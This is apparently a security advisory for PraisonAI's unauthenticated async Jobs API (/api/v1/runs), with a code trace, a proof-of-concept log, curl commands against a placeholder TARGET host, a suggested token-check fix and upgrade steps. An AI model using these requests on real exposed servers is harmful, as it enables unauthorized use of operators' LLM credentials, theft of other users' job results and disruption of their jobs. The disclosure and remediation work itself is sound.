Skip to content

GHSA-2jgc-f764-c5r2 CVE-2026-55539 PYSEC-2026-3885

PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete

High PyPI
Severity
8.6 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.57%
Chance of exploitation in the next 30 days. Higher than 47.10% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-306 Missing Authentication for Critical Function
Fix
4.6.58
Upgrade praisonai to this version or later

Description

Summary

PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value.

The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.

This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the legacy Flask server src/praisonai/api_server.py. The fix added AUTH_ENABLED/AUTH_TOKEN/check_auth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.

Technical Detail

Source-to-sink trace

The FastAPI app includes the jobs router with only CORS middleware — no auth (server.py, create_app):

# src/praisonai/praisonai/jobs/server.py
def create_app(store=None, executor=None, cors_origins=None) -> FastAPI:
    app = FastAPI(title="PraisonAI Jobs API", ...)
    # ... CORS middleware only (allow_headers includes "Authorization",
    #     but CORS is not authentication) ...
    jobs_router = create_router(get_store(), get_executor())
    app.include_router(jobs_router)        # no dependencies=[Depends(...)]

The router (built inside create_router()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization:

# src/praisonai/praisonai/jobs/router.py
router = APIRouter(prefix="/api/v1/runs", tags=["jobs"])
 
@router.post("",          status_code=202)  async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ...
@router.get("")                              async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...
@router.get("/{job_id}")                     async def get_job_status(job_id): ...
@router.get("/{job_id}/result")              async def get_job_result(job_id): ...
@router.post("/{job_id}/cancel")             async def cancel_job(job_id): ...
@router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ...
@router.get("/{job_id}/stream")              async def stream_job(job_id): ...

submit_job() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent:

# executor.py — submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents()
agent = Agent(instructions="You are a helpful AI assistant.", output="minimal")
result = await asyncio.to_thread(agent.start, job.prompt)   # attacker-controlled prompt

The in-memory store has no owner / principal / user concept. list_jobs() returns the whole store filtered only by caller-supplied status/session_id:

# store.py
async def list_jobs(self, status=None, session_id=None, limit=20, offset=0):
    jobs = list(self._jobs.values())        # global; no owner binding
    if session_id: jobs = [j for j in jobs if j.session_id == session_id]
    ...

A repository-wide grep of jobs/ for Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth returns only the string "Authorization" inside the CORS allow_headers list. There is no authentication primitive in the module.

Distinction from CVE-2026-44338 (critical for triage)

CVE-2026-44338 (already fixed) This finding
Component Legacy Flask src/praisonai/api_server.py FastAPI praisonai/jobs/
Endpoints GET /agents, POST /chat /api/v1/runs (submit/list/get/result/cancel/delete/stream)
Root cause AUTH_ENABLED=False, AUTH_TOKEN=None, no-op check_auth() No auth dependency, middleware, or token exists at all
Status at 4.6.51 Patched (auth enabled by default, token auto-generated, secrets.compare_digest) Unpatched

The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.

Trigger conditions

  1. Start the server, e.g. python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory.
  2. Make it reachable (--host 0.0.0.0, container publish, reverse proxy, tunnel).
  3. Send unauthenticated requests to POST/GET /api/v1/runs, GET /api/v1/runs/{id}, GET /api/v1/runs/{id}/result, POST /api/v1/runs/{id}/cancel, DELETE /api/v1/runs/{id}.

Proof of Concept

Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each).

## Unauth POST /api/v1/runs (submit job)
   POST /api/v1/runs            -> HTTP 202   Authorization sent: None
   body: {"job_id":"run_de282b4c3f1c","status":"queued", ...}
 
## Unauth GET /api/v1/runs (list every job in shared store)
   GET /api/v1/runs             -> HTTP 200   Authorization sent: None
   body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...}
 
## Unauth GET /api/v1/runs/{id}/result (read tenant output)
   GET /api/v1/runs/.../result  -> HTTP 200   Authorization sent: None
   body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...}
 
## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)
   t=0.0s status=running ... t=2.0s status=running
   POST /api/v1/runs/.../cancel -> HTTP 200   Authorization sent: None
   after cancel status=cancelled
 
## Unauth DELETE /api/v1/runs/{id} (delete terminal job)
   DELETE /api/v1/runs/...       -> HTTP 204   Authorization sent: None

Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.)

Equivalent trigger in a fully installed, network-exposed deployment

python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory
 
curl -sS -X POST http://TARGET:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  --data-binary '{"prompt":"attacker controlled job","timeout":3600}'
curl -sS http://TARGET:8005/api/v1/runs
curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result
curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel
curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id>

Impact

  • Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing.
  • Confidentiality: callers list all jobs (GET /api/v1/runs) and read completed results from the shared store — other callers' agent outputs.
  • Integrity / control: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs.

Suggested Mitigation

Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:

  • Add a jobs-server auth token (e.g. PRAISONAI_JOBS_API_TOKEN) and require it on every /api/v1/runs route via a router-level dependency, so future routes inherit protection by default.
  • Use constant-time comparison (hmac.compare_digest / secrets.compare_digest).
  • Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs.
  • Keep 127.0.0.1 as default; warn or refuse when binding a public interface without auth configured.
  • Regression tests asserting unauthenticated POST / GET / cancel / delete return 401 when auth is enabled.
import hmac, os
from fastapi import Depends, Header, HTTPException
 
def verify_jobs_token(authorization: str | None = Header(None),
                      x_api_key: str | None = Header(None, alias="X-API-Key")):
    expected = os.getenv("PRAISONAI_JOBS_API_TOKEN")
    if not expected:
        raise HTTPException(401, "Jobs API auth is not configured")
    token = x_api_key
    if authorization and authorization.startswith("Bearer "):
        token = authorization[7:]
    if not token or not hmac.compare_digest(token, expected):
        raise HTTPException(401, "Unauthorized")
 
# create_router(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verify_jobs_token)])

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.6.58
4.6.58

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.58

pip
pip install --upgrade "praisonai>=4.6.58"
poetry
poetry add "praisonai>=4.6.58"
uv
uv add "praisonai>=4.6.58"

Severity breakdown

CVSS 3.1 8.6

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
High

Weakness

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
GHSA-r7v3-x45f-g7hp
PraisonAI: [Auth Bypass] `praisonai serve agents --api-key` is silently ignored — agent-invocation routes (`POST /agents`, `POST /agents/{agent_name}`) run unauthenticated
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor